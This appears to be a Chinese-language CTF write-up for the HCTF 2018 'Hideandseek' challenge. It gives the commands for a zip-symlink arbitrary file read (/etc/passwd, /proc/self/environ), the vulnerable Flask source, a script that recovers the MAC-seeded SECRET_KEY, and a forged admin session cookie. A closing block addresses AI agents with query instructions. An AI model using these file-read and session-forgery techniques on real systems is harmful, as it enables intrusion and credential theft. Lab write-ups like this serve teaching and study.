# Hideandseek

先用guest登录，提示上传zip文件，上传后进行解压，利用软链接实现任意文件读取

```
ln -s /etc/passwd 1.jpg
```

压缩1.jpg上传

```
zip -y 1.zip 1.jpg
```

读取/proc/self/envion

```
HOSTNAME=b07efea7a3bfSHLVL=1PYTHON_PIP_VERSION=19.1.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.iniWERKZEUG_SERVER_FD=3NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/static_=/usr/local/bin/pythonUWSGI_CHEAPER=2WERKZEUG_RUN_MAIN=trueNGINX_VERSION=1.15.8-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchLANG=C.UTF-8PYTHON_VERSION=3.6.8NGINX_WORKER_PROCESSES=1LISTEN_PORT=80STATIC_INDEX=0PWD=/appPYTHONPATH=/appSTATIC_PATH=/app/staticFLAG=not_flag
```

读取/app/uwsgi.ini

> uWSGI是一个Web应用服务器，它具有应用服务器，代理，进程管理及应用监控等功能。它支持WSGI协议，同时它也支持自有的uWSGI协议。

```
[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log
```

这里无解了，据说这里的链接应该是

```
module的返回值应该是module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main 访问/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
```

应该是BUU的配置不对，读取源码

```
 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)
```

其中随机数的种子是uuid.getnode()，本地的MAC地址的十进制表示，获取本地的MAC地址。

/sys/class/net/eth0/address

```
02:42:ac:10:b9:28 
```

转换MAC地址

```
import uuid
import random

if __name__ == "__main__":
    mac = "02:42:ac:10:b9:28"
    temp = mac.split(':')
    temp = [int(i, 16) for i in temp]
    temp = [bin(i).replace('0b', '').zfill(8) for i in temp]
    temp = ''.join(temp)
    mac = int(temp, 2)
    random.seed(mac)
    randStr = str(random.random()*100)
    print(randStr)  # 结果为 90.979214536644
```

利用MAC地址做SECRET\_KEY，代入flask\_session\_manager

```
eyJ1c2VybmFtZSI6ImFkbWluIn0.YP4y5w.4YJJKSNFQhpDtLEBQDf7dz6Kr5Q
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2018/2018-hctf/hideandseek.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
